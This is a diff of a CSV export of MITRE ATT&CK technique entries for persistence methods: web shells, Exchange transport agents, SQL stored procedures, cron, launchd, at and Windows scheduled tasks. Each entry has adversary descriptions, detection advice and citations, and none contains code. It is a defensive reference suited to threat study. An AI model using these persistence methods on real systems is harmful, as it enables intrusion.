changes to files in the Web directory of a Web server that do not match with updates to the Web server's content and may indicate implantation of a Web shell script.(Citation: NSA Cyber Mitigating Web Shells) + +Log authentication attempts to the server and any unusual traffic patterns to or from the server and internal network. (Citation: US-CERT Alert TA15-314A Web Shells)",True,"['SYSTEM', 'User']","['Linux', 'Windows', 'macOS']",,CAPEC-650,https://capec.mitre.org/data/definitions/650.html,['Adversary access to Web server with vulnerability or account to upload and serve the Web shell file.'],,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1505/002', 'external_id': 'T1505.002'}, {'source_name': 'Microsoft TransportAgent Jun 2016', 'description': 'Microsoft. (2016, June 1). Transport agents. Retrieved June 24, 2019.', 'url': 'https://docs.microsoft.com/en-us/exchange/transport-agents-exchange-2013-help'}, {'source_name': 'ESET LightNeuron May 2019', 'description': 'Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019.', 'url': 'https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf'}]",1.0,attack-pattern,attack-pattern--35187df2-31ed-43b6-a1f5-2f1d3d58d3f1,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-12-12T15:08:20.972Z,2021-10-18T17:05:44.321Z,Transport Agent,"Adversaries may abuse Microsoft transport agents to establish persistent access to systems. Microsoft Exchange transport agents can operate on email messages passing through the transport pipeline to perform various tasks such as filtering spam, filtering malicious attachments, journaling, or adding a corporate signature to the end of all outgoing emails.(Citation: Microsoft TransportAgent Jun 2016)(Citation: ESET LightNeuron May 2019) Transport agents can be written by application developers and then compiled to .NET assemblies that are subsequently registered with the Exchange server. Transport agents will be invoked during a specified stage of email processing and carry out developer defined tasks. -Adversaries may register a malicious transport agent to provide a persistence mechanism in Exchange Server that can be triggered by adversary-specified email events.(Citation: ESET LightNeuron May 2019) Though a malicious transport agent may be invoked for all emails passing through the Exchange transport pipeline, the agent can be configured to only carry out specific tasks in response to adversary defined criteria. For example, the transport agent may only carry out an action like copying in-transit attachments and saving them for later exfiltration if the recipient email address matches an entry on a list provided by the adversary. ",attack-pattern--35187df2-31ed-43b6-a1f5-2f1d3d58d3f1,attack-pattern,['persistence'],2020-03-25T22:59:59.124Z,2019-12-12T15:08:20.972Z,Consider monitoring application logs for abnormal behavior that may indicate suspicious installation of application software components. Consider monitoring file locations associated with the installation of new application software components such as paths from which applications typically load such extensible components.,"['File: File Creation', 'Application Log: Application Log Content']","['ESET', ' Christoffer Strömblad']",,"['SYSTEM', 'Administrator', 'root']","['Linux', 'Windows']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1505.001', 'url': 'https://attack.mitre.org/techniques/T1505/001'}, {'source_name': 'NetSPI Startup Stored Procedures', 'url': 'https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/', 'description': 'Sutherland, S. (2016, March 7). Maintaining Persistence via SQL Server – Part 1: Startup Stored Procedures. Retrieved July 8, 2019.'}, {'source_name': 'Kaspersky MSSQL Aug 2019', 'url': 'https://securelist.com/malicious-tasks-in-ms-sql-server/92167/', 'description': 'Plakhov, A., Sitchikhin, D. (2019, August 22). Agent 1433: remote attack on Microsoft SQL Server. Retrieved September 4, 2019.'}, {'source_name': 'Microsoft xp_cmdshell 2017', 'url': 'https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/xp-cmdshell-transact-sql?view=sql-server-2017', 'description': 'Microsoft. (2017, March 15). xp_cmdshell (Transact-SQL). Retrieved September 9, 2019.'}, {'source_name': 'Microsoft CLR Integration 2017', 'url': 'https://docs.microsoft.com/en-us/sql/relational-databases/clr-integration/common-language-runtime-integration-overview?view=sql-server-2017', 'description': 'Microsoft. (2017, June 19). Common Language Runtime Integration. Retrieved July 8, 2019.'}, {'source_name': 'NetSPI SQL Server CLR', 'url': 'https://blog.netspi.com/attacking-sql-server-clr-assemblies/', 'description': 'Sutherland, S. (2017, July 13). Attacking SQL Server CLR Assemblies. Retrieved July 8, 2019.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]",1.0,True,https://attack.mitre.org/techniques/T1505/001,mitre-attack,T1505.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,SQL Stored Procedures,"Adversaries may abuse SQL stored procedures to establish persistent access to systems. SQL Stored Procedures are code that can be saved and reused so that database users do not waste time rewriting frequently used SQL queries. Stored procedures can be invoked via SQL statements to the database using the procedure name or via defined events (e.g. when a SQL server application is started/restarted). +Adversaries may register a malicious transport agent to provide a persistence mechanism in Exchange Server that can be triggered by adversary-specified email events.(Citation: ESET LightNeuron May 2019) Though a malicious transport agent may be invoked for all emails passing through the Exchange transport pipeline, the agent can be configured to only carry out specific tasks in response to adversary defined criteria. For example, the transport agent may only carry out an action like copying in-transit attachments and saving them for later exfiltration if the recipient email address matches an entry on a list provided by the adversary. ",['persistence'],https://attack.mitre.org/techniques/T1505/002,mitre-attack,T1505.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['ESET', 'Christoffer Strömblad']","['File: File Creation', 'Application Log: Application Log Content']",,Consider monitoring application logs for abnormal behavior that may indicate suspicious installation of application software components. Consider monitoring file locations associated with the installation of new application software components such as paths from which applications typically load such extensible components.,True,"['SYSTEM', 'Administrator', 'root']","['Linux', 'Windows']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1505/001', 'external_id': 'T1505.001'}, {'source_name': 'NetSPI Startup Stored Procedures', 'description': 'Sutherland, S. (2016, March 7). Maintaining Persistence via SQL Server – Part 1: Startup Stored Procedures. Retrieved July 8, 2019.', 'url': 'https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/'}, {'source_name': 'Kaspersky MSSQL Aug 2019', 'description': 'Plakhov, A., Sitchikhin, D. (2019, August 22). Agent 1433: remote attack on Microsoft SQL Server. Retrieved September 4, 2019.', 'url': 'https://securelist.com/malicious-tasks-in-ms-sql-server/92167/'}, {'source_name': 'Microsoft xp_cmdshell 2017', 'description': 'Microsoft. (2017, March 15). xp_cmdshell (Transact-SQL). Retrieved September 9, 2019.', 'url': 'https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/xp-cmdshell-transact-sql?view=sql-server-2017'}, {'source_name': 'Microsoft CLR Integration 2017', 'description': 'Microsoft. (2017, June 19). Common Language Runtime Integration. Retrieved July 8, 2019.', 'url': 'https://docs.microsoft.com/en-us/sql/relational-databases/clr-integration/common-language-runtime-integration-overview?view=sql-server-2017'}, {'source_name': 'NetSPI SQL Server CLR', 'description': 'Sutherland, S. (2017, July 13). Attacking SQL Server CLR Assemblies. Retrieved July 8, 2019.', 'url': 'https://blog.netspi.com/attacking-sql-server-clr-assemblies/'}]",1.0,attack-pattern,attack-pattern--f9e9365a-9ca2-4d9c-8e7c-050d73d1101a,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-12-12T14:59:58.168Z,2020-03-25T23:30:20.638Z,SQL Stored Procedures,"Adversaries may abuse SQL stored procedures to establish persistent access to systems. SQL Stored Procedures are code that can be saved and reused so that database users do not waste time rewriting frequently used SQL queries. Stored procedures can be invoked via SQL statements to the database using the procedure name or via defined events (e.g. when a SQL server application is started/restarted). Adversaries may craft malicious stored procedures that can provide a persistence mechanism in SQL database servers.(Citation: NetSPI Startup Stored Procedures)(Citation: Kaspersky MSSQL Aug 2019) To execute operating system commands through SQL syntax the adversary may have to enable additional functionality, such as xp_cmdshell for MSSQL Server.(Citation: NetSPI Startup Stored Procedures)(Citation: Kaspersky MSSQL Aug 2019)(Citation: Microsoft xp_cmdshell 2017) -Microsoft SQL Server can enable common language runtime (CLR) integration. With CLR integration enabled, application developers can write stored procedures using any .NET framework language (e.g. VB .NET, C#, etc.).(Citation: Microsoft CLR Integration 2017) Adversaries may craft or modify CLR assemblies that are linked to stored procedures since these CLR assemblies can be made to execute arbitrary commands.(Citation: NetSPI SQL Server CLR) ",attack-pattern--f9e9365a-9ca2-4d9c-8e7c-050d73d1101a,attack-pattern,['persistence'],2020-03-25T23:30:20.638Z,2019-12-12T14:59:58.168Z,"On a MSSQL Server, consider monitoring for xp_cmdshell usage.(Citation: NetSPI Startup Stored Procedures) Consider enabling audit features that can log malicious startup activities.",['Application Log: Application Log Content'],"['Carlos Borges, @huntingneo, CIP', 'Lucas da Silva Pereira, @vulcanunsec, CIP', 'Kaspersky']",,"['Administrator', 'SYSTEM', 'root']","['Windows', 'Linux']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1053.003', 'url': 'https://attack.mitre.org/techniques/T1053/003'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]",1.0,True,https://attack.mitre.org/techniques/T1053/003,mitre-attack,T1053.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Cron,"Adversaries may abuse the cron utility to perform task scheduling for initial or recurring execution of malicious code. The cron utility is a time-based job scheduler for Unix-like operating systems. The crontab file contains the schedule of cron entries to be run and the specified times for execution. Any crontab files are stored in operating system-specific file paths. +Microsoft SQL Server can enable common language runtime (CLR) integration. With CLR integration enabled, application developers can write stored procedures using any .NET framework language (e.g. VB .NET, C#, etc.).(Citation: Microsoft CLR Integration 2017) Adversaries may craft or modify CLR assemblies that are linked to stored procedures since these CLR assemblies can be made to execute arbitrary commands.(Citation: NetSPI SQL Server CLR) ",['persistence'],https://attack.mitre.org/techniques/T1505/001,mitre-attack,T1505.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Carlos Borges, @huntingneo, CIP', 'Lucas da Silva Pereira, @vulcanunsec, CIP', 'Kaspersky']",['Application Log: Application Log Content'],,"On a MSSQL Server, consider monitoring for xp_cmdshell usage.(Citation: NetSPI Startup Stored Procedures) Consider enabling audit features that can log malicious startup activities.",True,"['Administrator', 'SYSTEM', 'root']","['Windows', 'Linux']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1053/003', 'external_id': 'T1053.003'}, {'source_name': '20 macOS Common Tools and Techniques', 'description': 'Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.', 'url': 'https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/'}]",1.1,attack-pattern,attack-pattern--2acf44aa-542f-4366-b4eb-55ef5747759c,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-12-03T14:25:00.538Z,2021-08-23T15:29:36.918Z,Cron,"Adversaries may abuse the cron utility to perform task scheduling for initial or recurring execution of malicious code.(Citation: 20 macOS Common Tools and Techniques) The cron utility is a time-based job scheduler for Unix-like operating systems. The crontab file contains the schedule of cron entries to be run and the specified times for execution. Any crontab files are stored in operating system-specific file paths. -An adversary may use cron in Linux or Unix environments to execute programs at system startup or on a scheduled basis for persistence. cron can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account.",attack-pattern--2acf44aa-542f-4366-b4eb-55ef5747759c,attack-pattern,"['execution', 'persistence', 'privilege-escalation']",2020-03-23T23:30:46.546Z,2019-12-03T14:25:00.538Z,"Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. +An adversary may use cron in Linux or Unix environments to execute programs at system startup or on a scheduled basis for persistence. ","['execution', 'persistence', 'privilege-escalation']",https://attack.mitre.org/techniques/T1053/003,mitre-attack,T1053.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Scheduled Job: Scheduled Job Creation', 'Command: Command Execution', 'File: File Modification', 'Process: Process Creation']",,"Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. -Suspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. ","['Scheduled Job: Scheduled Job Creation', 'Command: Command Execution', 'File: File Modification', 'Process: Process Creation']",,,['User'],"['Linux', 'macOS']",False,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1053.004', 'url': 'https://attack.mitre.org/techniques/T1053/004'}, {'url': 'https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html', 'description': 'Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017.', 'source_name': 'AppleDocs Launch Agent Daemons'}, {'url': 'https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf', 'description': 'Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.', 'source_name': 'Methods of Mac Malware Persistence'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]",1.0,True,https://attack.mitre.org/techniques/T1053/004,mitre-attack,T1053.004,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Launchd,"Adversaries may abuse the Launchd daemon to perform task scheduling for initial or recurring execution of malicious code. The launchd daemon, native to macOS, is responsible for loading and maintaining services within the operating system. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in /System/Library/LaunchDaemons and /Library/LaunchDaemons (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence). +Suspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. ",True,['User'],"['Linux', 'macOS']",False,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1053/001', 'external_id': 'T1053.001'}, {'source_name': 'Kifarunix - Task Scheduling in Linux', 'description': 'Koromicha. (2019, September 7). Scheduling tasks using at command in Linux. Retrieved December 3, 2019.', 'url': 'https://kifarunix.com/scheduling-tasks-using-at-command-in-linux/'}, {'source_name': 'GTFObins at', 'description': 'Emilio Pinna, Andrea Cardaci. (n.d.). gtfobins at. Retrieved September 28, 2021.', 'url': 'https://gtfobins.github.io/gtfobins/at/'}, {'source_name': 'rowland linux at 2019', 'description': 'Craig Rowland. (2019, July 25). Getting an Attacker IP Address from a Malicious Linux At Job. Retrieved October 15, 2021.', 'url': 'https://www.linkedin.com/pulse/getting-attacker-ip-address-from-malicious-linux-job-craig-rowland/'}]",1.1,attack-pattern,attack-pattern--6636bc83-0611-45a6-b74f-1f3daf635b8e,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-12-03T12:59:36.749Z,2021-10-15T14:36:26.063Z,At (Linux),"Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial, recurring, or future execution of malicious code. The [at](https://attack.mitre.org/software/S0110) command within Linux operating systems enables administrators to schedule tasks.(Citation: Kifarunix - Task Scheduling in Linux) -An adversary may use the launchd daemon in macOS environments to schedule new executables to run at system startup or on a scheduled basis for persistence. launchd can also be abused to run a process under the context of a specified account. Daemons, such as launchd, run with the permissions of the root user account, and will operate regardless of which user account is logged in.",attack-pattern--8faedf87-dceb-4c35-b2a2-7286f59a3bc3,attack-pattern,"['execution', 'persistence', 'privilege-escalation']",2020-03-23T22:41:14.739Z,2019-12-03T14:15:27.452Z,"Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. +An adversary may use [at](https://attack.mitre.org/software/S0110) in Linux environments to execute programs at system startup or on a scheduled basis for persistence. [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account. -Suspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.","['Scheduled Job: Scheduled Job Creation', 'Command: Command Execution', 'File: File Modification', 'Process: Process Creation']",,,['root'],['macOS'],False,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1053.001', 'url': 'https://attack.mitre.org/techniques/T1053/001'}, {'source_name': 'Kifarunix - Task Scheduling in Linux', 'url': 'https://kifarunix.com/scheduling-tasks-using-at-command-in-linux/', 'description': 'Koromicha. (2019, September 7). Scheduling tasks using at command in Linux. Retrieved December 3, 2019.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]",1.0,True,https://attack.mitre.org/techniques/T1053/001,mitre-attack,T1053.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,At (Linux),"Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial or recurring execution of malicious code. The [at](https://attack.mitre.org/software/S0110) command within Linux operating systems enables administrators to schedule tasks.(Citation: Kifarunix - Task Scheduling in Linux) +Adversaries may also abuse [at](https://attack.mitre.org/software/S0110) to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. Similarly, [at](https://attack.mitre.org/software/S0110) may also be used for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) if the binary is allowed to run as superuser via sudo.(Citation: GTFObins at)","['execution', 'persistence', 'privilege-escalation']",https://attack.mitre.org/techniques/T1053/001,mitre-attack,T1053.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Scheduled Job: Scheduled Job Creation', 'Command: Command Execution', 'Process: Process Creation']",,"Monitor scheduled task creation using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. -An adversary may use [at](https://attack.mitre.org/software/S0110) in Linux environments to execute programs at system startup or on a scheduled basis for persistence. [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account.",attack-pattern--6636bc83-0611-45a6-b74f-1f3daf635b8e,attack-pattern,"['execution', 'persistence', 'privilege-escalation']",2020-03-23T22:35:13.112Z,2019-12-03T12:59:36.749Z,"Monitor scheduled task creation using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. +Review all jobs using the atq command and ensure IP addresses stored in the SSH_CONNECTION and SSH_CLIENT variables, machines that created the jobs, are trusted hosts. All [at](https://attack.mitre.org/software/S0110) jobs are stored in /var/spool/cron/atjobs/.(Citation: rowland linux at 2019) -Suspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.","['Scheduled Job: Scheduled Job Creation', 'Command: Command Execution', 'Process: Process Creation']",,,,['Linux'],True,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1053.005', 'url': 'https://attack.mitre.org/techniques/T1053/005'}, {'url': 'https://twitter.com/leoloobeek/status/939248813465853953', 'description': 'Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved December 12, 2017.', 'source_name': 'Twitter Leoloobeek Scheduled Task'}, {'url': 'https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen', 'description': 'Satyajit321. (2015, November 3). Scheduled Tasks History Retention settings. Retrieved December 12, 2017.', 'source_name': 'TechNet Forum Scheduled Task Operational Setting'}, {'url': 'https://technet.microsoft.com/library/dd315590.aspx', 'description': 'Microsoft. (n.d.). General Task Registration. Retrieved December 12, 2017.', 'source_name': 'TechNet Scheduled Task Events'}, {'source_name': 'Microsoft Scheduled Task Events Win10', 'url': 'https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events', 'description': 'Microsoft. (2017, May 28). Audit Other Object Access Events. Retrieved June 27, 2019.'}, {'url': 'https://technet.microsoft.com/en-us/sysinternals/bb963902', 'description': 'Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.', 'source_name': 'TechNet Autoruns'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]",1.0,True,https://attack.mitre.org/techniques/T1053/005,mitre-attack,T1053.005,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Scheduled Task,"Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows. The schtasks can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel. In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library to create a scheduled task. +Suspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.",True,,['Linux'],True,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1053/005', 'external_id': 'T1053.005'}, {'source_name': 'Twitter Leoloobeek Scheduled Task', 'description': 'Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved December 12, 2017.', 'url': 'https://twitter.com/leoloobeek/status/939248813465853953'}, {'source_name': 'TechNet Forum Scheduled Task Operational Setting', 'description': 'Satyajit321. (2015, November 3). Scheduled Tasks History Retention settings. Retrieved December 12, 2017.', 'url': 'https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen'}, {'source_name': 'TechNet Scheduled Task Events', 'description': 'Microsoft. (n.d.). General Task Registration. Retrieved December 12, 2017.', 'url': 'https://technet.microsoft.com/library/dd315590.aspx'}, {'source_name': 'Microsoft Scheduled Task Events Win10', 'description': 'Microsoft. (2017, May 28). Audit Other Object Access Events. Retrieved June 27, 2019.', 'url': 'https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events'}, {'source_name': 'TechNet Autoruns', 'description': 'Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.', 'url': 'https://technet.microsoft.com/en-us/sysinternals/bb963902'}]",1.0,attack-pattern,attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-11-27T14:58:00.429Z,2020-12-30T14:26:44.730Z,Scheduled Task,"Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows. The schtasks can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel. In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library to create a scheduled task. The deprecated [at](https://attack.mitre.org/software/S0110) utility could also be abused by adversaries (ex: [At (Windows)](https://attack.mitre.org/techniques/T1053/002)), though at.exe can not access tasks created with schtasks or the Control Panel. -An adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence. The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account (such as SYSTEM).",attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9,attack-pattern,"['execution', 'persistence', 'privilege-escalation']",2020-12-30T14:26:44.730Z,2019-11-27T14:58:00.429Z,"Monitor process execution from the svchost.exe in Windows 10 and the Windows Task Scheduler taskeng.exe for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\System32\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc. +An adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence. The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account (such as SYSTEM).","['execution', 'persistence', 'privilege-escalation']",https://attack.mitre.org/techniques/T1053/005,mitre-attack,T1053.005,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Scheduled Job: Scheduled Job Creation', 'Command: Command Execution', 'File: File Modification', 'Process: Process Creation']",,"Monitor process execution from the svchost.exe in Windows 10 and the Windows Task Scheduler taskeng.exe for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\System32\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc. Configure event logging for scheduled task creation and changes by enabling the ""Microsoft-Windows-TaskScheduler/Operational"" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events)(Citation: Microsoft Scheduled Task Events Win10) @@ -2540,12 +2770,12 @@ Configure event logging for scheduled task creation and changes by enabling the Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns) -Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.","['Scheduled Job: Scheduled Job Creation', 'Command: Command Execution', 'File: File Modification', 'Process: Process Creation']",,,['Administrator'],['Windows'],True,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1053.002', 'url': 'https://attack.mitre.org/techniques/T1053/002'}, {'url': 'https://twitter.com/leoloobeek/status/939248813465853953', 'description': 'Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved December 12, 2017.', 'source_name': 'Twitter Leoloobeek Scheduled Task'}, {'url': 'https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen', 'description': 'Satyajit321. (2015, November 3). Scheduled Tasks History Retention settings. Retrieved December 12, 2017.', 'source_name': 'TechNet Forum Scheduled Task Operational Setting'}, {'url': 'https://technet.microsoft.com/library/dd315590.aspx', 'description': 'Microsoft. (n.d.). General Task Registration. Retrieved December 12, 2017.', 'source_name': 'TechNet Scheduled Task Events'}, {'source_name': 'Microsoft Scheduled Task Events Win10', 'url': 'https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events', 'description': 'Microsoft. (2017, May 28). Audit Other Object Access Events. Retrieved June 27, 2019.'}, {'url': 'https://technet.microsoft.com/en-us/sysinternals/bb963902', 'description': 'Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.', 'source_name': 'TechNet Autoruns'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]",1.0,True,https://attack.mitre.org/techniques/T1053/002,mitre-attack,T1053.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,At (Windows),"Adversaries may abuse the at.exe utility to perform task scheduling for initial or recurring execution of malicious code. The [at](https://attack.mitre.org/software/S0110) utility exists as an executable within Windows for scheduling tasks at a specified time and date. Using [at](https://attack.mitre.org/software/S0110) requires that the Task Scheduler service be running, and the user to be logged on as a member of the local Administrators group. +Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.",True,['Administrator'],['Windows'],True,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 